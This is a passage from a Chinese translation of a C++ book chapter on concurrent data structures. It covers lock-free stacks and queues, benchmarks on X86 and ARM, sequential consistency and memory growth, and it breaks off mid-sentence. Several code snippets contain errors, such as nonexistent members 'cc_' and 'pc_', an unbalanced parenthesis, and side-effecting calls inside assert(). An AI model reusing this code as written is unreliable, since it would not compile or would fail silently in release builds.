将这个结果与图 7.10进行比较,得出一个非常沮丧的结论:我们不可能设计出一个无锁设计,它能胜过一个简单的自旋锁。自旋锁之所以能在某些情况下胜过原子递增,是因为在这个特定硬件上不同原子指令的相对性能;我们不应该对此过分解读。
我们可以尝试使用原子交换或比较和交换来进行相同的估计,而不是原子增量。当您了解更多关于设计线程安全数据结构的知识时,您将对哪种同步协议可能有用以及哪些操作应该包括在估计中有所了解。此外,如果您使用特定的硬件,您应该运行简单的基准测试来确定哪些操作在其上更有效。到目前为止,所有结果都是在基于 X86 的硬件上获得的。如果我们在专门设计用于 HPC 应用的大型 ARM 服务器上运行相同的估计,我们将得到一个非常不同的结果。基于锁的栈的基准测试产生了这些结果:
图 7.12 - 在 ARM HPC 系统上基于锁的栈的性能
ARM 系统通常比 X86 系统具有更多的核心,而单个核心的性能较低。这个特定系统有两个物理处理器上的 160 个核心,当程序在两个 CPU 上运行时,锁的性能显著下降。对无锁栈性能的上限估计应该使用比原子增量更有效的比较和交换指令(后者在这些处理器上特别低效)。
图 7.13 - 具有单个 CAS 操作的假设栈的性能估计(ARM 处理器)
基于图 7.13中的估计,对于大量的线程,我们有可能会得到比基于简单锁的栈更好的东西。我们将继续努力开发无锁栈。有两个原因:首先,这一努力最终将在某些硬件上得到回报。其次,这种设计的基本元素将在以后的许多其他数据结构中看到,而栈为我们提供了一个简单的测试案例来学习它们。
无锁栈
既然我们决定尝试超越简单的基于锁的实现,我们需要考虑我们从对推入和弹出操作的探索中学到的教训。每个操作本身非常简单,但两者的交互才会产生复杂性。这是一个非常常见的情况:在多个线程上正确同步生产者和消费者操作要比仅处理生产者或仅处理消费者要困难得多。在设计自己的数据结构时请记住这一点:如果您的应用程序允许对您需要支持的操作进行任何形式的限制,比如生产者和消费者在时间上是分开的,或者只有一个生产者(或消费者)线程,那么您几乎可以肯定地为这些有限操作设计一个更快的数据结构。
假设我们需要一个完全通用的堆栈,生产者-消费者交互的问题的本质可以通过一个非常简单的例子来理解。同样,我们假设堆栈是在数组或类似数组的容器之上实现的,并且元素是连续存储的。假设我们当前有N
个元素在堆栈上。生产者线程 P 正在执行推送操作,消费者线程 C 同时正在执行弹出操作。结果应该是什么?虽然诱人的是尝试设计一个无等待的设计(就像我们为仅消费者或仅生产者所做的那样),但是任何允许两个线程在不等待的情况下继续进行的设计都将破坏我们关于元素存储方式的基本假设:线程 C 必须等待线程 P 完成推送或返回当前顶部元素N
。同样,线程 P 必须等待线程 C 完成或在槽N+1
中构造一个新元素。如果两个线程都不等待,结果就是数组中的一个空洞:最后一个元素的索引为N+1
,但在槽N
中没有存储任何东西,因此我们在从堆栈中弹出数据时必须以某种方式跳过它。
看起来我们必须放弃无等待堆栈实现的想法,并让其中一个线程等待另一个线程完成其操作。当顶部索引为零且消费者线程尝试进一步减少它时,我们还必须处理空堆栈的可能性。当顶部索引指向最后一个元素且生产者线程需要另一个槽时,也会出现类似的问题。
这两个问题都需要有界的原子递增操作:执行递增(或递减),除非值等于指定的边界。在 C++中没有现成的原子操作(或者在当今任何主流硬件上都没有),但我们可以使用比较和交换(CAS)来实现它,如下所示:
std::atomic<int> n_ = 0;
int bounded_fetch_add(int dn, int maxn) {
int n = n_.load(std::memory_order_relaxed);
do {
if (n + dn >= maxn || n + dn < 0) return -1;
} while (!n_.compare_exchange_weak(n, n + dn,
std::memory_order_release,
std::memory_order_relaxed));
return n;
}
这是 CAS 操作用于实现复杂的无锁原子操作的典型示例:
-
读取变量的当前值。
-
检查必要的条件。在我们的情况下,我们验证递增不会给我们带来指定边界
0,maxn)
之外的值。如果有界递增失败,我们通过返回-1
向调用者发出信号(这是一个任意选择;通常,对于超出边界的情况,有特定的操作要执行)。 -
如果当前值仍然等于我们之前读取的值,则用所需的结果原子替换该值。
-
如果步骤 3失败,当前值已被更新,再次检查它,并重复步骤 3和4,直到成功。
尽管这可能看起来像是一种锁,但有一个根本的区别:CAS 比较在一个线程上失败的唯一方式是如果它在另一个线程上成功(并且原子变量被递增),所以每当共享资源存在争用时,至少一个线程保证能够取得进展。
还有一个重要的观察结果,通常是实现可扩展性和非常低效实现之间的关键区别。如所写的 CAS 循环对大多数现代操作系统的调度算法非常不友好:循环失败的线程还会消耗更多的 CPU 时间,并且会被赋予更高的优先级。这与我们想要的正好相反:我们希望当前正在执行有用工作的线程运行得更快。解决方案是在几次不成功的 CAS 尝试后让线程让出调度器。这可以通过一个依赖于操作系统的系统调用来实现,但 C++通过调用std::this_thread::yield()
具有一个与系统无关的 API。在 Linux 上,通常可以通过调用nanosleep()
函数来睡眠最短可能的时间(1 纳秒)来获得更好的性能,每次循环迭代都这样做:
int i = 0;
while ( … ) {
if (++i == 8) {
static constexpr timespec ns = { 0, 1 };
i = 0;
nanosleep(&ns, NULL);
}
}
相同的方法可以用来实现更复杂的原子事务,比如栈的推送和弹出操作。但首先,我们必须弄清楚需要哪些原子变量。对于生产者线程,我们需要数组中第一个空闲插槽的索引。对于消费者线程,我们需要最后一个完全构造的元素的索引。这是我们关于栈当前状态的所有信息,假设我们不允许数组中的“空洞”:
![图 7.14 – 无锁栈:c_
是最后一个完全构造的元素的索引,p_
是数组中第一个空闲插槽的索引
图 7.14 – 无锁栈:c_
是最后一个完全构造的元素的索引,p_
是数组中第一个空闲插槽的索引
首先,如果两个索引当前不相等,那么推送和弹出都无法进行:不同的计数意味着要么正在构造新元素,要么正在复制当前顶部元素。在这种状态下对栈进行修改可能导致数组中的空洞的创建。
如果两个索引相等,那么我们可以继续。要进行推送,我们需要原子地增加生产者索引p_
(受数组当前容量的限制)。然后我们可以在刚刚保留的插槽中构造新元素(由旧值p_
索引)。然后我们增加消费者索引c_
,表示新元素已经可供消费者线程使用。请注意,另一个生产者线程甚至可以在构造完成之前抢占下一个插槽,但在允许任何消费者线程弹出元素之前,我们必须等待所有新元素都被构造。这样的实现是可能的,但它更加复杂,而且倾向于当前执行的操作:如果推送当前正在进行,弹出必须等待,但另一个推送可以立即进行。结果很可能是一堆推送操作在执行,而所有消费者线程都在等待(如果弹出操作正在进行,效果类似;它会倾向于另一个弹出)。
弹出的实现方式类似,只是我们首先将消费者索引c_
减少到保留顶部插槽,然后在从栈中复制或移动对象之后再减少p_
。
我们还需要学习一个技巧,那就是如何原子地操作这两个计数。例如,我们之前说过,线程必须等待两个索引变得相等。这怎么实现呢?如果我们原子地读取一个索引,然后再原子地读取另一个索引,那么第一个索引自从我们读取它以来可能已经发生了变化。我们必须在一个原子操作中读取两个索引。对于索引的其他操作也是如此。C++允许我们声明一个包含两个整数的原子结构;但是,我们必须小心:很少有硬件平台有一个双 CAS指令,可以原子地操作两个长整数,即使有,它通常也非常慢。更好的解决方案是将两个值打包到一个 64 位字中(在 64 位处理器上)。硬件原子指令(如加载或比较和交换)实际上并不关心你将如何解释它们读取或写入的数据:它们只是复制和比较 64 位字。你以后可以将这些位视为长整数、双精度浮点数或一对整数(原子增量当然是不同的,这就是为什么你不能在双精度值上使用它)。
现在,我们只需要将前面的算法转换成代码:
template <typename T> class mt_stack {
std::deque<T> s_;
int cap_ = 0;
struct counts_t {
int p_ = 0; // Producer index
int c_ = 0; // Consumer index
bool equal(std::atomic<counts_t>& n) {
if (p_ == c_) return true;
*this = n.load(std::memory_order_relaxed);
return false;
}
};
mutable std::atomic<counts_t> n_;
public:
mt_stack(size_t n = 100000000) : s_(n), cap_(n) {}
void push(const T& v);
std::optional<T> pop();
};
这两个索引是打包成 64 位原子值的 32 位整数。equal()
方法可能看起来很奇怪,但它的目的很快就会变得明显。如果两个索引相等,则返回 true;否则,它会从指定的原子变量中更新存储的索引值。这遵循了我们之前看到的 CAS 模式:如果条件不满足,再次读取原子变量。
请注意,我们不能再在 STL 堆栈的基础上构建我们的线程安全堆栈:容器本身在线程之间是共享的,即使容器不再增长,对其进行push()
和pop()
操作也不是线程安全的。为简单起见,在我们的示例中,我们使用了一个 deque,它初始化了足够大数量的默认构造元素。只要我们不调用任何容器成员函数,我们就可以独立地在不同的线程中操作容器的不同元素。请记住,这只是一个快捷方式,可以避免同时处理内存管理和线程安全:在任何实际实现中,您不希望预先默认构造所有元素(而且元素类型甚至可能没有默认构造函数)。通常,高性能的并发软件系统都有自己的自定义内存分配器。否则,您也可以使用一个与堆栈元素类型大小和对齐方式相同的虚拟类型的 STL 容器,但具有简单的构造函数和析构函数(实现足够简单,留给读者作为练习)。
推送操作实现了我们之前讨论的算法:等待索引变得相等,推进生产者索引p_
,构造新对象,完成后推进消费者索引c_
:
void push(const T& v) {
counts_t n = n_.load(std::memory_order_relaxed);
if (n.p_ == cap_) abort();
while (!n.equal(n_) ||
!n_.compare_exchange_weak(n, {n.p_ + 1, n.c_},
std::memory_order_acquire,
std::memory_order_relaxed)) {
if (n.p_ == cap_) { … allocate more memory … }
};
++n.p_;
new (&s_[n.p_]) T(v);
assert(n_.compare_exchange_strong(n, {n.p_, n.c_ + 1},
std::memory_order_release, std::memory_order_relaxed);
}
除非我们的代码中有错误,否则最后的 CAS 操作不应该失败:一旦调用线程成功推进了p_
,没有其他线程可以改变任何一个值,直到相同的线程推进了c_
以匹配(正如我们已经讨论过的,这里存在一个低效性,但修复它会带来更高的复杂性成本)。另外,请注意,为了简洁起见,我们省略了循环内的nanosleep()
或yield()
调用,但在任何实际实现中都是必不可少的。
弹出操作类似,只是首先减少消费者索引c_
,然后在从堆栈中移除顶部元素时,减少p_
以匹配c_
:
std::optional<T> pop() {
counts_t n = n_.load(std::memory_order_relaxed);
if (n.c_ == 0) return std::optional<T>(std::nullopt);
while (!n.equal(n_) ||
!n_.compare_exchange_weak(n, {n.p_, n.c_ - 1},
std::memory_order_acquire,
std::memory_order_relaxed)) {
if (n.c_ == 0) return std::optional<T>(std::nullopt);
};
--n.cc_;
std::optional<T> res(std::move(s_[n.p_]));
s_[n.pc_].~T();
assert(n_.compare_exchange_strong(n, {n.p_ - 1, n.c_},
std::memory_order_release, std::memory_order_relaxed));
return res;
}
同样,如果程序正确,最后的比较和交换操作不应该失败。
无锁堆栈是可能的最简单的无锁数据结构之一,而且它已经相当复杂。验证我们的实现是否正确所需的测试并不简单:除了所有单线程单元测试之外,我们还必须验证是否存在竞争条件。这项任务得到了最近 GCC 和 CLANG 编译器中可用的线程检测器(TSAN)等消毒工具的大大简化。这些消毒工具的优势在于它们可以检测潜在的数据竞争,而不仅仅是在测试期间实际发生的数据竞争(在小型测试中,观察到两个线程同时不正确地访问相同内存的机会相当渺茫)。
经过我们所有的努力,无锁堆栈的性能如何?如预期的那样,在 X86 处理器上,它并没有超越基于自旋锁的版本:
图 7.15 - X86 CPU 上无锁堆栈的性能(与图 7.11 进行比较)
作为比较,受自旋锁保护的堆栈可以在同一台机器上每秒执行约 70M 次操作。这与我们在上一节性能估计后的预期一致。然而,相同的估计表明,无锁堆栈在 ARM 处理器上可能更优秀。基准测试证实了我们的努力没有白费:
图 7.16 - ARM CPU 上无锁堆栈的性能(与图 7.12 进行比较)
虽然基于锁的栈的单线程性能优越,但是如果线程数量很大,无锁栈的速度要快得多。如果基准测试包括大量的top()
调用(即许多线程在一个线程弹出之前读取顶部元素)或者生产者和消费者线程是不同的(一些线程只调用push()
,而其他线程只调用pop()
),无锁栈的优势甚至更大。
总结这一部分,我们已经探讨了线程安全栈数据结构的不同实现。为了理解线程安全所需的内容,我们必须分析每个操作,以及多个并发操作的交互。以下是我们学到的教训:
-
使用良好的锁实现,锁保护的栈提供了合理的性能,并且比其他选择更简单。
-
关于数据结构使用限制的任何特定应用知识都应该被利用来廉价地获得性能。这不是开发通用解决方案的地方,恰恰相反:尽量实现尽可能少的功能,并尝试从限制中获得性能优势。
-
一个通用的无锁实现是可能的,但即使对于像栈这样简单的数据结构,它也是相当复杂的。有时,这种复杂性甚至是合理的。
到目前为止,我们已经回避了内存管理的问题:当栈的容量用完时,它被隐藏在模糊的分配更多内存之后。我们需要稍后回到这个问题。但首先,让我们探索更多不同的数据结构。
线程安全队列
接下来我们要考虑的数据结构是队列。它是一个非常简单的数据结构,概念上是一个可以从两端访问的数组:数据被添加到数组的末尾,并从开头移除。在实现方面,队列和栈之间有一些非常重要的区别。也有许多相似之处,我们将经常参考前一节。
就像栈一样,STL 有一个队列容器std::queue
,在并发性方面存在相同的问题:删除元素的接口不是事务性的,它需要三个单独的成员函数调用。如果我们想要使用带锁的std::queue
创建线程安全队列,我们将不得不像处理栈一样对其进行包装:
template <typename T> class mt_queue {
std::queue<T> s_;
mutable spinlock l_;
public:
void push(const T& v) {
std::lock_guard g(l_);
s_.push(v);
}
std::optional<T> pop() {
std::lock_guard g(l_);
if (s_.empty()) {
return std::optional<T>(std::nullopt);
} else {
std::optional<T> res(std::move(s_.front()));
s_.pop();
return res;
}
}
};
我们决定立即使用自旋锁(一个简单的基准测试可以证实它再次比互斥锁更快)。如果需要,front()
方法可以类似于pop()
方法实现,只是不移除前面的元素。基本基准测试再次测量将元素推送到队列并将其弹出所需的时间。使用与上一节相同的 X86 机器,我们可以得到以下数字:
图 7.17 - 自旋锁保护的 std::queue 的性能
作为比较,在相同的硬件上,没有任何锁的std::queue
每秒可以传递大约 280M 个项目(项目是推送和弹出,因此我们测量每秒可以通过队列发送多少元素)。到目前为止,这个情况与我们之前在栈中看到的非常相似。为了比锁保护的版本更好,我们必须尝试提出一个无锁实现。
无锁队列
在我们深入设计无锁队列之前,重要的是对每个事务进行详细分析,就像我们为栈所做的那样。同样,我们将假设队列是建立在数组或类似数组的容器之上的(并且我们将推迟关于数组满时会发生什么的问题)。将元素推送到队列看起来就像为栈做的那样:
图 7.18 – 向队列后端添加元素(生产者视图)
我们所需要的只是数组中第一个空槽的索引。然而,从队列中移除元素与从栈中进行相同操作是完全不同的。您可以在图 7.19中看到这一点(与图 7.9进行比较):
图 7.19 – 从队列前端移除元素(消费者视图)
元素从队列的前端移除,因此我们需要第一个尚未被移除的元素的索引(队列的当前前端),并且该索引也会被增加。
现在我们来到队列和栈之间的关键区别:在栈中,生产者和消费者都在同一位置操作:栈的顶部。我们已经看到了这样做的后果:一旦生产者开始在栈顶构造新元素,消费者就必须等待它完成。弹出操作不能返回最后构造的元素而不在数组中留下空洞,也不能在构造完成之前返回正在构造的元素。
对于队列,情况则大不相同。只要队列不为空,生产者和消费者根本不会相互交互。推送操作不需要知道前端索引在哪里,弹出操作也不关心后端索引在哪里,只要它在前端之前的某个位置。生产者和消费者不会竞争访问同一内存位置。
每当我们有多种不同的方式来访问数据结构,并且它们(大多数情况下)不相互交互时,一般建议首先考虑这些角色分配给不同线程的情况。进一步简化可以从每种类型的一个线程开始;在我们的情况下,这意味着一个生产者线程和一个消费者线程。
由于只有生产者需要访问后端索引,并且只有一个生产者线程,因此我们甚至不需要原子整数来表示此索引。同样,前端索引只是一个常规整数。这两个线程相互交互的唯一时间是队列变为空时。为此,我们需要一个原子变量:队列的大小。生产者在第一个空槽中构造新元素并增加后端索引(以任何顺序,只有一个生产者线程)。然后,它增加队列的大小,以反映队列现在有一个更多的元素可以从中取出。
消费者必须以相反的顺序操作:首先,检查大小以确保队列不为空。然后消费者可以从队列中取出第一个元素并增加前端索引。当然,在检查大小和访问前端元素之间大小可能会发生变化,但这不会造成任何问题:只有一个消费者线程,生产者线程只能增加大小。
在探索栈时,我们推迟了向数组添加更多内存的问题,并假设我们以某种方式知道栈的最大容量,并且不会超过它(如果超过了,我们也可以使推送操作失败)。对于队列,同样的假设是不够的:因为元素被添加和移除,前端和后端索引都会前进,并最终到达数组的末尾。当然,在这一点上,数组的第一个元素是未使用的,因此最简单的解决方案是将数组视为循环缓冲区,并对数组索引使用模运算:
template <typename T> class pc_queue {
public:
explicit pc_queue(size_t capacity) :
capacity_(capacity),
data_(static_cast<T*>(::malloc(sizeof(T)*capacity_))) {}
~pc_queue() { ::free(data_); }
bool push(const T& v) {
if (size_.load(std::memory_order_relaxed) >= capacity_)
return false;
new (data_ + (back_ % capacity_)) T(v);
++back_;
size_.fetch_add(1, std::memory_order_release);
return true;
}
std::optional<T> pop() {
if (size_.load(std::memory_order_acquire) == 0) {
return std::optional<T>(std::nullopt);
} else {
std::optional<T> res(
std::move(data_[front_ % capacity_]));
data_[front_ % capacity_].~T();
++front_;
size_.fetch_sub(1, std::memory_order_relaxed);
return res;
}
}
private:
const size_t capacity_;
T* const data_;
size_t front_ = 0;
size_t back_ = 0;
std::atomic<size_t> size_;
};
由于我们在设计上接受了的约束条件,这个队列需要一个特殊的基准:一个生产者线程和一个消费者线程:
pc_queue<size_t> q(1UL<<20);
void BM_queue_prod_cons(benchmark::State& state) {
const bool producer = state.thread_index & 1;
const size_t N = state.range(0);
for (auto _ : state) {
if (producer) {
for (size_t i = 0; i < N; ++i) q.push(i);
} else {
for (size_t i = 0; i < N; ++i)
benchmark::DoNotOptimize(q.pop());
}
}
state.SetItemsProcessed(state.iterations()*N);
}
BENCHMARK(BM_queue_prod_cons)->Arg(1)->Threads(2)
->UseRealTime();
BENCHMARK_MAIN();
为了比较,我们应该在相同条件下对我们的锁保护队列进行基准测试(锁的性能通常对线程之间的竞争情况非常敏感)。在相同的 X86 机器上,两个队列的吞吐量大约为每秒 100M 个整数元素。在 ARM 处理器上,锁的成本通常更高,我们的队列也不例外:
图 7.20 - 在 ARM 上整数的基于锁和无锁队列的性能
然而,即使在 X86 上,我们的分析还没有完成。在前一节中,我们提到如果栈元素很大,复制它们所需的时间相对于线程同步(锁定或原子操作)要长。我们无法充分利用它,因为大多数情况下,一个线程仍然需要等待另一个线程完成复制,因此建议另一种方法:使用指针栈,实际数据存储在其他地方。缺点是我们需要另一个线程安全的容器来存储这些数据(尽管通常,程序无论如何都需要将其存储在某个地方)。这仍然是队列的一个可行建议,但现在我们有另一种选择。正如我们已经提到的,队列中的生产者和消费者线程不会互相等待:它们的交互在大小检查后就结束了。可以推断,如果数据元素很大,无锁队列将具有优势,因为两个线程可以同时复制数据,线程之间的竞争,或者两个线程争夺对同一内存位置的访问(锁或原子值)的时间要短得多。要进行这样的基准测试,我们只需要创建一个大对象的队列,比如一个包含大数组的结构体。正如预期的那样,即使在 X86 硬件上,无锁队列现在也表现得更快:
图 7.21 - 在 X86 上大型元素的基于锁和无锁队列的性能
即使在我们施加了限制的情况下,这仍然是一个非常有用的数据结构:当我们知道可以入队的元素数量的上限,或者可以处理生产者在推送更多数据之前必须等待的情况时,这个队列可以用于在生产者和消费者线程之间传输数据。这个队列非常高效;对于一些应用程序来说更重要的是,它具有非常低且可预测的延迟:队列本身不仅是无锁的,而且是无等待的。一个线程永远不必等待另一个线程,除非队列已满。顺便说一句,如果消费者必须对从队列中取出的每个数据元素进行某些处理,并且开始落后直到队列填满,一个常见的方法是让生产者处理它无法入队的元素。这有助于延迟生产者线程,直到消费者赶上(这种方法并不适用于每个应用程序,因为它可能会无序处理数据,但通常情况下是有效的)。
我们的队列在有多个生产者或消费者线程的情况下的泛化将使实现更加复杂。基于原子大小的简单无等待算法即使我们将前后索引设为原子,也不再适用:如果多个消费者线程读取了一个非零大小的值,这对于所有这些线程来说已经不再足够让它们继续进行。对于多个消费者,大小可以在一个线程检查并发现非零值后减小并变为零(这只是意味着其他线程在第一个线程测试大小后,但在它尝试访问队列前弹出了所有剩余元素)。
一个通用的解决方案是使用我们为栈使用的相同技术:将前端和后端索引打包到一个 64 位原子字中,并使用比较和交换原子地访问它们两个。实现类似于栈的实现;在前一节理解了代码的读者已经准备好实现这个队列。在文献中还可以找到其他无锁队列解决方案;本章应该为您提供足够的背景来理解、比较和基准测试这些实现。
实现一个复杂的无锁数据结构是一个耗时的项目,需要技巧和注意力。在实现完成之前,最好能有一些性能估计,这样我们就可以知道努力是否有可能得到回报。我们已经看到了一种基准测试代码的方法,这个代码还不存在:一个模拟基准测试,结合了对非线程安全数据结构(每个线程本地的)的操作和对共享变量(锁或原子数据)的操作。目标是提出一个可以进行基准测试的计算等效代码片段;它永远不会完美,但是如果我们有一个关于一个具有三个原子变量和每个变量上的比较和交换操作的无锁队列的想法,并且我们发现估计的基准测试比自旋锁保护的队列慢几倍,那么实现真正的队列的工作可能不会得到回报。
部分实现代码的第二种基准测试方法是构建基准测试,避免我们尚未实现的某些边缘情况。例如,如果您期望队列大部分时间不为空,并且您的初始实现没有处理空队列的情况,那么您应该对该实现进行基准测试,并限制基准测试,使队列永远不会为空。这个基准测试将告诉您是否走在正确的轨道上:它将展示您在非空队列的典型情况下可以期望的性能。当我们推迟处理栈或队列耗尽内存的情况时,我们实际上已经采取了这种方法。我们简单地假设这种情况不会经常发生,并构建了基准测试来避免这种情况。
还有另一种并发数据结构实现类型,通常可以非常高效。我们接下来要学习这种技术。
非顺序一致的数据结构
让我们首先重新审视一个简单的问题,*队列是什么?*当然,我们知道队列是什么:它是一种数据结构,使得首先添加的元素也是首先检索到的。在概念上和许多实现中,这是由元素添加到底层数组的顺序来保证的:我们有一个排队元素的数组,新条目添加到前面,而最老的条目从后面读取。
但是让我们仔细检查一下这个定义是否仍然适用于并发队列。当从队列中读取一个元素时执行的代码看起来像这样:
T pop() {
T return_value;
return_value = data[back];
--back;
return return_value;
}
返回值可以用std::optional
包装或通过引用传递;这并不重要。关键是,从队列中读取值,后面的索引递减,然后控制权返回给调用者。在多线程程序中,线程可以在任何时刻被抢占。完全有可能,如果我们有两个线程 A 和 B,线程 A 从队列中读取最旧的元素,那么线程 B 首先完成pop()
的执行并将其值返回给调用者。因此,如果我们按顺序将两个元素 X 和 Y 入队,然后有多个线程将它们出队并打印它们的值,程序会先打印 Y 然后是 X。当多个线程将元素推送到队列时,也会发生相同类型的重新排序。最终结果是,即使队列本身保持严格的顺序(如果您暂停程序并检查内存中的数组,元素的顺序是正确的),程序观察到的出队元素的顺序也不能保证与它们入队的顺序完全一致。
当然,顺序也不是完全随机的:即使在并发程序中,栈看起来与队列非常不同。从队列中检索的数据的顺序大致上是添加值的顺序;重大的重新排列是罕见的(当一个线程因某种原因被延迟时会发生)。
我们的队列还保留了另一个非常重要的属性:顺序一致性。一个顺序一致的程序产生的输出与一个程序的输出是相同的,其中所有线程的操作都是依次执行的(没有任何并发),并且任何特定线程执行的操作的顺序不会改变。换句话说,等价程序接受所有线程执行的操作序列并将它们交错,但不会重新排列它们。
顺序一致性是一个方便的属性:分析这类程序的行为要容易得多。例如,在队列的情况下,我们保证如果两个元素 X 和 Y 由线程 A 入队,先是 X,然后是 Y,而它们恰好被线程 B 出队,它们将按正确的顺序出来。另一方面,我们可以争论说,实际上这并不重要:两个元素可能被两个不同的线程出队,这种情况下它们可以以任何顺序出现,因此程序必须能够处理它。
如果我们愿意放弃顺序一致性,这将开启一种全新的设计并发数据结构的方法。让我们以队列为例来探讨这个问题。基本思想是:我们可以有几个单线程子队列,而不是一个单一的线程安全队列。每个线程必须原子地获取这些子队列中的一个的独占所有权。实现这一点的最简单方法是使用原子指针数组指向子队列,如图 7.22所示。为了获取所有权并同时防止任何其他线程访问队列,我们原子地将子队列指针与空值交换。
图 7.22 - 基于原子指针访问的数组子队列的非顺序一致队列
需要访问队列的线程必须首先获取一个子队列。我们可以从指针数组的任何元素开始;如果它是空的,那么该子队列当前正在忙,我们尝试下一个元素,依此类推,直到我们保留一个子队列。在这一点上,只有一个线程在操作子队列,因此不需要线程安全(子队列甚至可以是std::queue
)。操作(推送或弹出)完成后,线程通过将子队列指针原子地写回数组来将子队列的所有权返回给队列。
推送操作必须继续尝试保留子队列,直到找到一个(或者,我们可以允许推送在一定次数尝试后失败,并向调用者发出队列太忙的信号)。弹出操作可能只保留一个子队列,却发现它是空的。在这种情况下,它必须尝试从另一个子队列中弹出(我们可以保持队列中元素的原子计数,以优化如果队列为空则快速返回)。
当然,pop 可能在一个线程上失败,并报告队列为空,而实际上并不是,因为另一个线程已经将新数据推送到队列中。但这可能发生在任何并发队列中:一个线程检查队列大小,发现队列为空,但在控制返回给调用者之前,队列变得非空。再次,顺序一致性对多个线程可以观察到的不一致性类型施加了一些限制,而我们的非顺序一致队列使输出元素的顺序变得不太确定。不过,平均而言,顺序仍然是保持的。
这不是每个问题的正确数据结构,但当大部分时间都是类似队列的顺序是可以接受的时候,它可以带来显著的性能改进,特别是在具有许多线程的系统中。观察在运行许多线程的大型 X86 服务器上非顺序一致队列的扩展:
图 7.23 - 非顺序一致队列的性能
在这个基准测试中,所有线程都进行推送和弹出操作,并且元素相当大(复制每个元素需要复制 1KB 的数据)。作为比较,使用自旋锁保护的std::queue
在单个线程上提供相同的性能(约每秒 170k 个元素),但不会扩展(整个操作被锁定),性能会缓慢下降(由于锁定的开销)到每秒约 130k 个元素的最大线程数。
当然,如果愿意为了性能而接受非顺序一致程序的混乱,许多其他数据结构也可以从这种方法中受益。
当涉及到诸如堆栈和队列之类的并发顺序容器需要更多内存时,我们需要讨论的最后一个主题。
并发数据结构的内存管理
到目前为止,我们一直坚持在内存管理问题上进行推迟,并假设数据结构的初始内存分配足够,至少对于不使整个操作单线程化的无锁数据结构来说是如此。我们在本章中看到的受锁保护和非顺序一致的数据结构并没有这个问题:在锁或独占所有权下,只有一个线程在特定的数据结构上操作,因此内存是以通常的方式分配的。
对于无锁数据结构,内存分配是一个重大挑战。这通常是一个相对较长的操作,特别是如果数据必须复制到新位置。即使多个线程可能检测到数据结构的内存用尽,通常也只有一个线程可以添加新的内存(很难使该部分也多线程化),其余线程必须等待。对于这个问题没有很好的一般解决方案,但我们将提出几条建议。
首先,最好的选择是完全避免问题。在许多情况下,当需要无锁数据结构时,可以估计其最大容量并预先分配内存。例如,我们可能知道要入队的数据元素的总数。或者,可能可以将问题推迟给调用者:而不是添加内存,我们可以告诉调用者数据结构已经达到容量上限;在某些问题中,这可能是无锁数据结构的性能的可接受折衷。
如果需要添加内存,非常希望添加内存不需要复制整个现有数据结构。这意味着我们不能简单地分配更多内存并将所有内容复制到新位置。相反,我们必须以固定大小的内存块存储数据,就像std::deque
所做的那样。当需要更多内存时,将分配另一个块,并且通常有一些指针需要更改,但不会复制数据。
在所有进行内存分配的情况下,这必须是一个不经常发生的事件。如果不是这样,那么我们几乎肯定最好使用由锁或临时独占所有权保护的单线程数据结构。这种罕见事件的性能并不重要,我们可以简单地锁定整个数据结构,并让一个线程进行内存分配和所有必要的更新。关键要求是使常见的执行路径,即我们不需要更多内存的路径,尽可能快。
这个想法非常简单:我们肯定不希望每次都在每个线程上获取内存锁,这会使整个程序串行化。我们也不需要这样做:大多数情况下,我们并不缺内存,也不需要这个锁。因此,我们将检查一个原子标志。只有在内存分配当前正在进行时,标志才会被设置,所有线程都必须等待。
std::atomic<int> wait; // 1 if managing memory
if (wait == 1) {
… wait for memory allocation to complete …
}
if ( … out of memory … ) {
wait = 1;
… allocate more memory …
wait = 0;
}
… do the operation normally …
问题在于,多个线程可能在一个设置等待标志之前同时检测到内存不足的情况;然后它们都会尝试向数据结构添加更多内存。这通常会产生竞争(重新分配底层存储很少是线程安全的)。然而,有一个简单的解决方案,称为双重检查锁定。它使用互斥锁(或另一个锁)和原子标志。如果标志未设置,一切正常,我们可以像往常一样继续。如果标志已设置,我们必须获取锁并再次检查标志:
std::atomic<int> wait; // 1 if managing memorystd::mutex lock;
while (wait == 1) {}; // Memory allocation in progress
if ( … out of memory … ) {
std::lock_guard g(lock);
if (… out of memory …) {
// We got here first!
wait = 1;
… allocate more memory …
wait = 0;
}
}
… do the operation normally …
第一次,我们在没有任何锁定的情况下检查内存不足的情况。这很快,而且大多数情况下,我们并不缺内存。第二次,在锁定状态下检查,我们保证只有一个线程在执行。多个线程可能会检测到我们内存不足;然而,第一个获得锁的线程是处理这种情况的线程。所有剩余的线程等待锁;当它们获得锁时,它们进行第二次检查(因此,双重检查锁定),并发现我们不再缺内存。
这种方法可以推广到处理任何特殊情况,这些情况发生得非常少,但是在无锁方式下实现起来比代码的其他部分要困难得多。在某些情况下,甚至可能对空队列等情况有用:正如我们所见,如果两组线程永远不必相互交互,那么处理多个生产者或多个消费者将需要一个简单的原子递增索引。如果在特定应用程序中,我们保证队列很少或几乎不会变为空,那么我们可以偏向于实现对非空队列非常快(无等待),但如果队列可能为空,则退回到全局锁的实现。
我们已经详细介绍了顺序数据结构。现在是时候学习下一个节点数据结构了。
线程安全的列表
在我们迄今为止研究的顺序数据结构中,数据存储在数组中(或者至少是由内存块组成的概念数组)。现在我们将考虑一种非常不同的数据结构类型,其中数据由指针连接在一起。最简单的例子是一个列表,其中每个元素都是单独分配的,但我们在这里学到的一切都适用于其他节点容器,如树、图或任何其他数据结构,其中每个元素都是单独分配的,并且数据由指针连接在一起。
为简单起见,我们将考虑一个单链表;在 STL 中,它可以作为std::forward_list
使用:
图 7.24 - 带迭代器的单链表
因为每个元素都是单独分配的,所以它也可以单独释放。通常,这些数据结构使用轻量级分配器,其中内存是在大块中分配的,然后被分成节点大小的片段。当一个节点被释放时,内存不会被返回给操作系统,而是被放在一个空闲列表中,以供下一个分配请求使用。对于我们的目的来说,内存是直接从操作系统分配还是由专门的分配器处理(尽管后者通常更有效)在很大程度上并不重要。
列表迭代器在并发程序中提出了额外的挑战。正如我们在图 7.24中看到的,这些迭代器可以指向列表中的任何位置。如果从列表中删除一个元素,我们希望它的内存最终可以用于构造和插入另一个元素(如果我们不这样做,并且一直保留所有内存直到整个列表被删除,重复添加和删除几个元素可能会浪费大量内存)。然而,如果有一个迭代器指向它,我们就不能删除列表节点。这在单线程程序中也是如此,但在并发程序中管理起来通常要困难得多。由于可能有多个线程可能使用迭代器,我们通常无法通过操作的执行流来保证没有迭代器指向我们即将删除的元素。在这种情况下,我们需要迭代器来延长它们所指向的列表节点的生命周期。当然,这是引用计数智能指针(如std::shared_ptr
)的工作。从现在开始,让我们假设列表中的所有指针,无论是将节点链接在一起的指针还是迭代器中的指针,都是智能指针(std::shared_ptr
